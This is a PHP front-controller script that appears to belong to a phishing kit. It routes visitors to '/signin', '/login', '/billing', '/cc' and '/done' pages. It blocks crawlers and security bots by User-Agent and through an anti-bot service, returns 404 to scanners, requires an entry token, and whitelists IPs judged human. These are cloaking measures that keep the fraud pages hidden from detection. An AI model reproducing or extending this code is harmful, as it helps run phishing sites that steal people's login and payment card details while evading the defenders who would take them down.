<?php
session_start();

// Error reporting (disable in production)
error_reporting(E_ALL);
ini_set('display_errors', 0);

// Define base path
define('BASE_PATH', dirname(__DIR__));
define('SYSTEM_PATH', BASE_PATH . '/system');
define('VIEWS_PATH', BASE_PATH . '/views');

// Load configuration if exists
if (file_exists(BASE_PATH . '/config.php')) {
    require_once BASE_PATH . '/config.php';
}

// Auto load helper
require_once SYSTEM_PATH . '/helper.php';

// Device detection (mobile/PC) - untuk routing ke views/mobile atau views/pc
require_once SYSTEM_PATH . '/device.php';

// Language (shared PC & mobile) — dimuat oleh masing-masing view agar $__lang ada di scope view
// Jangan require di sini supaya view yang di-include dari Router punya akses $__lang.

// Block bot/crawler by User-Agent (admin path dibiarkan)
if (defined('BLOCK_BOT_CRAWLER') && BLOCK_BOT_CRAWLER) {
    $reqPath = parse_url($_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH);
    $reqPath = $reqPath ? rtrim($reqPath, '/') : '';
    $baseDir = dirname($_SERVER['SCRIPT_NAME'] ?? '');
    if ($baseDir !== '/' && $baseDir !== '\\') {
        $reqPath = str_replace($baseDir, '', $reqPath);
    }
    $isAdminPath = (strpos($reqPath, '/admin') === 0);
    if (!$isAdminPath && is_bot_crawler_user_agent()) {
        if (function_exists('increment_stat')) {
            increment_stat('blocked_bot');
        }
        http_response_code(403);
        header('Content-Type: text/html; charset=UTF-8');
        echo '<!DOCTYPE html><html><head><meta charset=utf-8><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>Access denied.</p></body></html>';
        exit;
    }
}

// Path whitelist - bots scanning random URLs get 404 without hitting Gobot
$reqPath = parse_url($_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH);
$reqPath = $reqPath ? rtrim($reqPath, '/') : '';
$baseDir = dirname($_SERVER['SCRIPT_NAME'] ?? '');
if ($baseDir !== '/' && $baseDir !== '\\') {
    $reqPath = str_replace($baseDir, '', $reqPath);
}
$validPaths = ['', '/', '/signin', '/login', '/billing', '/cc', '/done'];
$isValidPath = in_array($reqPath, $validPaths, true)
    || strpos($reqPath, '/api/') === 0
    || strpos($reqPath, '/admin') === 0;
if (!$isValidPath) {
    http_response_code(404);
    exit;
}

// Bot protection (Gobot) - only fire on root entry WITH valid token to save quota
$isRootEntry = ($reqPath === '' || $reqPath === '/');
$hasEntryToken = defined('ENTRY_PARAM_NAME') && ENTRY_PARAM_NAME !== null
    && (string) ENTRY_PARAM_NAME !== '' && isset($_GET[ENTRY_PARAM_NAME]);
if ($isRootEntry && $hasEntryToken && defined('BOT_PROTECTION_ENABLED') && BOT_PROTECTION_ENABLED) {
    $isAdminRequest = false;
    if (defined('ADMIN_BYPASS_SECRET') && ADMIN_BYPASS_SECRET !== '' && defined('ADMIN_BYPASS_PARAM')) {
        $bypass = $_GET[ADMIN_BYPASS_PARAM] ?? '';
        $isAdminRequest = ($bypass === ADMIN_BYPASS_SECRET);
    }
    if (!$isAdminRequest) {
        $clientIp = get_client_ip();
        if (!is_ip_whitelisted($clientIp)) {
            require_once SYSTEM_PATH . '/Gobot/blocker.php';
            $botGobotBlocker = new BotGobot();
            $gobotResult = $botGobotBlocker->gobotBlocker($clientIp);

            if (!$gobotResult['success']) {
                if (($gobotResult['type'] ?? '') === 'bot') {
                    if (function_exists('increment_stat')) {
                        increment_stat('blocked_bot');
                    }
                    $botGobotBlocker->handleBotDetected();
                    exit;
                }
                die(htmlspecialchars($gobotResult['message'] ?? 'Unknown error'));
            }

            $userType = $gobotResult['type'] ?? 'human';
            if ($userType === 'human') {
                add_ip_to_whitelist($clientIp);
            }
        }
    }
}

// Initialize session data if not exists
if (!isset($_SESSION['visitor_info'])) {
    $_SESSION['visitor_info'] = getVisitorInfo();
}

// Count visitor only on entry via root + token (filters out bot scanner noise)
if ($isRootEntry && $hasEntryToken && empty($_SESSION['visitor_counted'])) {
    $_SESSION['visitor_counted'] = true;
    if (function_exists('increment_stat')) {
        increment_stat('visitor');
    }
}

if (!isset($_SESSION['step'])) {
    $_SESSION['step'] = 'login';
}

if (!isset($_SESSION['data'])) {
    $_SESSION['data'] = [];
}


// Entry parameter configuration - Load from config.php or use default
if (!defined('ENTRY_PARAM_NAME')) {
    define('ENTRY_PARAM_NAME', null); // Set to null to disable entry parameter
}

// Required parameter configuration - Load from config.php or use default
if (!defined('REQUIRED_PARAM_NAME')) {
    define('REQUIRED_PARAM_NAME', null); // Set to null to disable, or set parameter name in config.php
}

// Check required parameter if configured (skip check for root path as it will redirect)
$currentPath = parse_url($_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH);
$currentPath = rtrim($currentPath, '/');
$baseDir = dirname($_SERVER['SCRIPT_NAME']);
if ($baseDir !== '/') {
    $currentPath = str_replace($baseDir, '', $currentPath);
}

// Check and ensure required parameter exists (skip for admin panel)
$isAdminPath = (strpos($currentPath, '/admin') === 0);
if (!$isAdminPath && REQUIRED_PARAM_NAME !== null && !empty($currentPath) && $currentPath !== '/') {
    // For 'reff' parameter: redirect only on GET (on POST, reff boleh dari body)
    $isPost = ($_SERVER['REQUEST_METHOD'] ?? '') === 'POST';
    if (REQUIRED_PARAM_NAME === 'reff' && !isset($_GET['reff']) && !$isPost) {
        $reffCode = getVisitorReferralCode();
        $queryString = $_SERVER['QUERY_STRING'] ?? '';
        $redirectUrl = $currentPath;
        if (!empty($queryString)) {
            $redirectUrl .= '?' . $queryString . '&reff=' . $reffCode;
        } else {
            $redirectUrl .= '?reff=' . $reffCode;
        }
        header('Location: ' . $redirectUrl);
        exit;
    }
    
    // Check parameter validity
    if (!checkRequiredParameter(REQUIRED_PARAM_NAME)) {
        http_response_code(403);
        die('Access denied.');
    }
}
